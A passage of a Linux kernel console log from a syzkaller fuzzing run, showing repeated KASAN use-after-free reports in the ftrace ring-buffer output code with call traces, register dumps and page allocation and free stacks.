[ 149.047858][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 149.047872][ T5916] ? rcu_is_watching+0x15/0xb0
[ 149.047886][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 149.047900][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.047916][ T5916] do_syscall_64+0x174/0x580
[ 149.047930][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.047944][ T5916] ? clear_bhb_loop+0x40/0x90
[ 149.047964][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.047977][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 149.048004][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 149.048015][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 149.048030][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 149.048039][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 149.048047][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 149.048054][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 149.048062][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 149.048098][ T5916] </TASK>
[ 149.048104][ T5916]
[ 149.203324][ T5916] The buggy address belongs to the physical page:
[ 149.206784][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 149.213093][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 149.216771][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 149.222051][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 149.227544][ T5916] page dumped because: kasan: bad access detected
[ 149.230216][ T5916] page_owner tracks the page as freed
[ 149.232998][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 149.246156][ T5916] post_alloc_hook+0x1f9/0x250
[ 149.248326][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 149.250824][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 149.253414][ T5916] __alloc_pages_noprof+0x10/0x100
[ 149.256767][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 149.259112][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 149.261397][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 149.266401][ T5916] tracing_update_buffers+0x7b/0xb0
[ 149.270106][ T5916] system_enable_write+0x17e/0x350
[ 149.272880][ T5916] vfs_write+0x296/0xba0
[ 149.275360][ T5916] ksys_write+0x150/0x270
[ 149.278074][ T5916] do_syscall_64+0x174/0x580
[ 149.281017][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.284884][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 149.288707][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 149.290813][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 149.294654][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 149.297999][ T5916] vfs_write+0x296/0xba0
[ 149.301029][ T5916] ksys_write+0x150/0x270
[ 149.304302][ T5916] do_syscall_64+0x174/0x580
[ 149.306253][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.309719][ T5916]
[ 149.311101][ T5916] Memory state around the buggy address:
[ 149.313527][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.317004][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.321698][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.326632][ T5916] ^
[ 149.329528][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.333620][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.338923][ T5916] ==================================================================
[ 149.349690][ T5916] ==================================================================
[ 149.355005][ T5916] BUG: KASAN: use-after-free in trace_print_lat_fmt+0x387/0x3d0
[ 149.359219][ T5916] Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
[ 149.364517][ T5916]
[ 149.365481][ T5916] CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 149.365525][ T5916] Tainted: [B]=BAD_PAGE
[ 149.365529][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 149.365536][ T5916] Call Trace:
[ 149.365544][ T5916] <TASK>
[ 149.365558][ T5916] dump_stack_lvl+0xe8/0x150
[ 149.365584][ T5916] print_address_description+0x55/0x1e0
[ 149.365604][ T5916] ? trace_print_lat_fmt+0x387/0x3d0
[ 149.365621][ T5916] print_report+0x58/0x70
[ 149.365637][ T5916] kasan_report+0x117/0x150
[ 149.365656][ T5916] ? __pfx_trace_seq_printf+0x10/0x10
[ 149.365674][ T5916] ? trace_print_lat_fmt+0x387/0x3d0
[ 149.365705][ T5916] trace_print_lat_fmt+0x387/0x3d0
[ 149.365732][ T5916] trace_print_context+0x283/0x4c0
[ 149.365786][ T5916] ? end_report+0xa2/0x170
[ 149.365813][ T5916] ? __pfx_trace_print_context+0x10/0x10
[ 149.365847][ T5916] print_trace_fmt+0x3bf/0x800
[ 149.365872][ T5916] ? print_trace_line+0x351/0x6a0
[ 149.365896][ T5916] tracing_read_pipe+0x568/0xb50
[ 149.365926][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 149.365943][ T5916] vfs_read+0x213/0xa80
[ 149.365968][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 149.365987][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 149.366007][ T5916] ? __fget_files+0x2a/0x420
[ 149.366033][ T5916] ? __fget_files+0x3a2/0x420
[ 149.366048][ T5916] ? __fget_files+0x2a/0x420
[ 149.366078][ T5916] ksys_read+0x150/0x270
[ 149.366098][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 149.366114][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 149.366129][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 149.366143][ T5916] ? rcu_is_watching+0x15/0xb0
[ 149.366158][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 149.366173][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.366190][ T5916] do_syscall_64+0x174/0x580
[ 149.366205][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.366220][ T5916] ? clear_bhb_loop+0x40/0x90
[ 149.366241][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.366255][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 149.366271][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 149.366282][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 149.366297][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 149.366306][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 149.366315][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 149.366322][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 149.366330][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 149.366366][ T5916] </TASK>
[ 149.366372][ T5916]
[ 149.522725][ T5916] The buggy address belongs to the physical page:
[ 149.526449][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 149.530921][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 149.535431][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 149.540960][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 149.546409][ T5916] page dumped because: kasan: bad access detected
[ 149.550463][ T5916] page_owner tracks the page as freed
[ 149.553896][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 149.566299][ T5916] post_alloc_hook+0x1f9/0x250
[ 149.569409][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 149.572306][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 149.575987][ T5916] __alloc_pages_noprof+0x10/0x100
[ 149.577928][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 149.581065][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 149.584358][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 149.588234][ T5916] tracing_update_buffers+0x7b/0xb0
[ 149.591580][ T5916] system_enable_write+0x17e/0x350
[ 149.595029][ T5916] vfs_write+0x296/0xba0
[ 149.597363][ T5916] ksys_write+0x150/0x270
[ 149.600210][ T5916] do_syscall_64+0x174/0x580
[ 149.603169][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.605376][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 149.609499][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 149.612824][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 149.616697][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 149.620206][ T5916] vfs_write+0x296/0xba0
[ 149.622333][ T5916] ksys_write+0x150/0x270
[ 149.624423][ T5916] do_syscall_64+0x174/0x580
[ 149.627454][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.631281][ T5916]
[ 149.632225][ T5916] Memory state around the buggy address:
[ 149.635072][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.640281][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.645398][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.650556][ T5916] ^
[ 149.653751][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.658581][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.663719][ T5916] ==================================================================
[ 149.682802][ T5916] ==================================================================
[ 149.686373][ T5916] BUG: KASAN: use-after-free in trace_print_lat_fmt+0x3a2/0x3d0
[ 149.689238][ T5916] Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
[ 149.694673][ T5916]
[ 149.696309][ T5916] CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 149.696330][ T5916] Tainted: [B]=BAD_PAGE
[ 149.696335][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 149.696343][ T5916] Call Trace:
[ 149.696351][ T5916] <TASK>
[ 149.696359][ T5916] dump_stack_lvl+0xe8/0x150
[ 149.696384][ T5916] print_address_description+0x55/0x1e0
[ 149.696405][ T5916] ? trace_print_lat_fmt+0x3a2/0x3d0
[ 149.696422][ T5916] print_report+0x58/0x70
[ 149.696440][ T5916] kasan_report+0x117/0x150
[ 149.696505][ T5916] ? trace_print_lat_fmt+0x3a2/0x3d0
[ 149.696536][ T5916] trace_print_lat_fmt+0x3a2/0x3d0
[ 149.696563][ T5916] trace_print_context+0x283/0x4c0
[ 149.696581][ T5916] ? end_report+0xa2/0x170
[ 149.696607][ T5916] ? __pfx_trace_print_context+0x10/0x10
[ 149.696641][ T5916] print_trace_fmt+0x3bf/0x800
[ 149.696666][ T5916] ? print_trace_line+0x351/0x6a0
[ 149.696690][ T5916] tracing_read_pipe+0x568/0xb50
[ 149.696720][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 149.696736][ T5916] vfs_read+0x213/0xa80
[ 149.696759][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 149.696778][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 149.696797][ T5916] ? __fget_files+0x2a/0x420
[ 149.696823][ T5916] ? __fget_files+0x3a2/0x420
[ 149.696841][ T5916] ? __fget_files+0x2a/0x420
[ 149.696872][ T5916] ksys_read+0x150/0x270
[ 149.696892][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 149.696910][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 149.696925][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 149.696940][ T5916] ? rcu_is_watching+0x15/0xb0
[ 149.696955][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 149.696971][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.696989][ T5916] do_syscall_64+0x174/0x580
[ 149.697003][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.697027][ T5916] ? clear_bhb_loop+0x40/0x90
[ 149.697048][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.697061][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 149.697077][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 149.697087][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 149.697101][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 149.697109][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 149.697117][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 149.697124][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 149.697132][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 149.697166][ T5916] </TASK>
[ 149.697172][ T5916]
[ 149.846480][ T5916] The buggy address belongs to the physical page:
[ 149.848864][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 149.854972][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 149.859482][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 149.864716][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 149.870095][ T5916] page dumped because: kasan: bad access detected
[ 149.872513][ T5916] page_owner tracks the page as freed
[ 149.875388][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 149.887863][ T5916] post_alloc_hook+0x1f9/0x250
[ 149.889911][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 149.893473][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 149.898288][ T5916] __alloc_pages_noprof+0x10/0x100
[ 149.900223][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 149.902620][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 149.904918][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 149.907289][ T5916] tracing_update_buffers+0x7b/0xb0
[ 149.909643][ T5916] system_enable_write+0x17e/0x350
[ 149.913469][ T5916] vfs_write+0x296/0xba0
[ 149.916143][ T5916] ksys_write+0x150/0x270
[ 149.918916][ T5916] do_syscall_64+0x174/0x580
[ 149.921825][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.925596][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 149.929288][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 149.932241][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 149.936234][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 149.938322][ T5916] vfs_write+0x296/0xba0
[ 149.940055][ T5916] ksys_write+0x150/0x270
[ 149.941822][ T5916] do_syscall_64+0x174/0x580
[ 149.944515][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 149.948321][ T5916]
[ 149.949882][ T5916] Memory state around the buggy address:
[ 149.953538][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.958898][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.964010][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.969081][ T5916] ^
[ 149.972316][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.977478][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 149.982533][ T5916] ==================================================================
[ 150.293217][ T5916] ==================================================================
[ 150.298175][ T5916] BUG: KASAN: use-after-free in trace_raw_output_prep+0x1f9/0x240
[ 150.301381][ T5916] Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
[ 150.305990][ T5916]
[ 150.307386][ T5916] CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 150.307435][ T5916] Tainted: [B]=BAD_PAGE
[ 150.307440][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 150.307448][ T5916] Call Trace:
[ 150.307458][ T5916] <TASK>
[ 150.307465][ T5916] dump_stack_lvl+0xe8/0x150
[ 150.307492][ T5916] print_address_description+0x55/0x1e0
[ 150.307513][ T5916] ? trace_raw_output_prep+0x1f9/0x240
[ 150.307531][ T5916] print_report+0x58/0x70
[ 150.307548][ T5916] kasan_report+0x117/0x150
[ 150.307573][ T5916] ? trace_raw_output_prep+0x1f9/0x240
[ 150.307604][ T5916] trace_raw_output_prep+0x1f9/0x240
[ 150.307623][ T5916] trace_raw_output_lock+0x47/0xd0
[ 150.307641][ T5916] tracing_read_pipe+0x568/0xb50
[ 150.307667][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 150.307680][ T5916] vfs_read+0x213/0xa80
[ 150.307702][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 150.307717][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 150.307733][ T5916] ? __fget_files+0x2a/0x420
[ 150.307756][ T5916] ? __fget_files+0x3a2/0x420
[ 150.307770][ T5916] ? __fget_files+0x2a/0x420
[ 150.307798][ T5916] ksys_read+0x150/0x270
[ 150.307815][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 150.307830][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 150.307842][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 150.307855][ T5916] ? rcu_is_watching+0x15/0xb0
[ 150.307867][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 150.307880][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 150.307894][ T5916] do_syscall_64+0x174/0x580
[ 150.307907][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 150.307920][ T5916] ? clear_bhb_loop+0x40/0x90
[ 150.307937][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 150.307949][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 150.307975][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 150.307984][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 150.307996][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 150.308004][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 150.308011][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 150.308017][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 150.308024][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 150.308054][ T5916] </TASK>
[ 150.308059][ T5916]
[ 150.443937][ T5916] The buggy address belongs to the physical page:
[ 150.448329][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 150.454541][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 150.458319][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 150.463528][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 150.468767][ T5916] page dumped because: kasan: bad access detected
[ 150.472843][ T5916] page_owner tracks the page as freed
[ 150.475311][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 150.486765][ T5916] post_alloc_hook+0x1f9/0x250
[ 150.488612][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 150.490822][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 150.493590][ T5916] __alloc_pages_noprof+0x10/0x100
[ 150.496778][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 150.500021][ T5916] ring_buffer_resize+0x4e8/0x15e0
[ 150.503188][ T5916] __tracing_resize_ring_buffer+0x9c/0x310
[ 150.507019][ T5916] tracing_update_buffers+0x7b/0xb0
[ 150.510396][ T5916] system_enable_write+0x17e/0x350
[ 150.513586][ T5916] vfs_write+0x296/0xba0
[ 150.516244][ T5916] ksys_write+0x150/0x270
[ 150.518905][ T5916] do_syscall_64+0x174/0x580
[ 150.520821][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 150.524205][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 150.528220][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 150.531357][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 150.535097][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 150.538455][ T5916] vfs_write+0x296/0xba0
[ 150.540057][ T5916] ksys_write+0x150/0x270
[ 150.542010][ T5916] do_syscall_64+0x174/0x580
[ 150.544895][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 150.548729][ T5916]
[ 150.550152][ T5916] Memory state around the buggy address:
[ 150.553800][ T5916] ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 150.558770][ T5916] ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 150.562985][ T5916] >ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 150.567691][ T5916] ^
[ 150.570297][ T5916] ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 150.575191][ T5916] ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 150.580530][ T5916] ==================================================================
[ 150.823650][ T5916] ==================================================================
[ 150.829148][ T5916] BUG: KASAN: use-after-free in trace_raw_output_lock+0x63/0xd0
[ 150.833858][ T5916] Read of size 8 at addr ffff888119b6ec34 by task syz-executor390/5916
[ 150.839045][ T5916]
[ 150.840638][ T5916] CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
[ 150.840658][ T5916] Tainted: [B]=BAD_PAGE
[ 150.840663][ T5916] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 150.840671][ T5916] Call Trace:
[ 150.840681][ T5916] <TASK>
[ 150.840689][ T5916] dump_stack_lvl+0xe8/0x150
[ 150.840716][ T5916] print_address_description+0x55/0x1e0
[ 150.840735][ T5916] ? trace_raw_output_lock+0x63/0xd0
[ 150.840750][ T5916] print_report+0x58/0x70
[ 150.840766][ T5916] kasan_report+0x117/0x150
[ 150.840784][ T5916] ? trace_raw_output_prep+0x1f9/0x240
[ 150.840808][ T5916] ? trace_raw_output_lock+0x63/0xd0
[ 150.840836][ T5916] trace_raw_output_lock+0x63/0xd0
[ 150.840855][ T5916] tracing_read_pipe+0x568/0xb50
[ 150.840886][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 150.840900][ T5916] vfs_read+0x213/0xa80
[ 150.840939][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 150.840957][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 150.840977][ T5916] ? __fget_files+0x2a/0x420
[ 150.841005][ T5916] ? __fget_files+0x3a2/0x420
[ 150.841022][ T5916] ? __fget_files+0x2a/0x420
[ 150.841074][ T5916] ksys_read+0x150/0x270
[ 150.841093][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 150.841108][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 150.841123][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 150.841137][ T5916] ? rcu_is_watching+0x15/0xb0
[ 150.841151][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 150.841165][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 150.841182][ T5916] do_syscall_64+0x174/0x580
[ 150.841197][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 150.841213][ T5916] ? clear_bhb_loop+0x40/0x90
[ 150.841235][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 150.841248][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 150.841265][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 150.841275][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 150.841289][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 150.841297][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 150.841304][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 150.841311][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 150.841319][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 150.841390][ T5916] </TASK>
[ 150.841396][ T5916]
[ 150.984784][ T5916] The buggy address belongs to the physical page:
[ 150.988843][ T5916] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 150.995133][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 150.999727][ T5916] raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
[ 151.005282][ T5916] raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
[ 151.010708][ T5916] page dumped because: kasan: bad access detected
[ 151.014723][ T5916] page_owner tracks the page as freed
[ 151.018084][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
[ 151.030127][ T5916] post_alloc_hook+0x1f9/0x250
[ 151.033639][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 151.037209][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 151.040998][ T5916] __alloc_pages_noprof+0x10/0x100
[ 151.042941][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 151.046235][ T5916] ring_buffer_resize+0x4e8/0x15e0
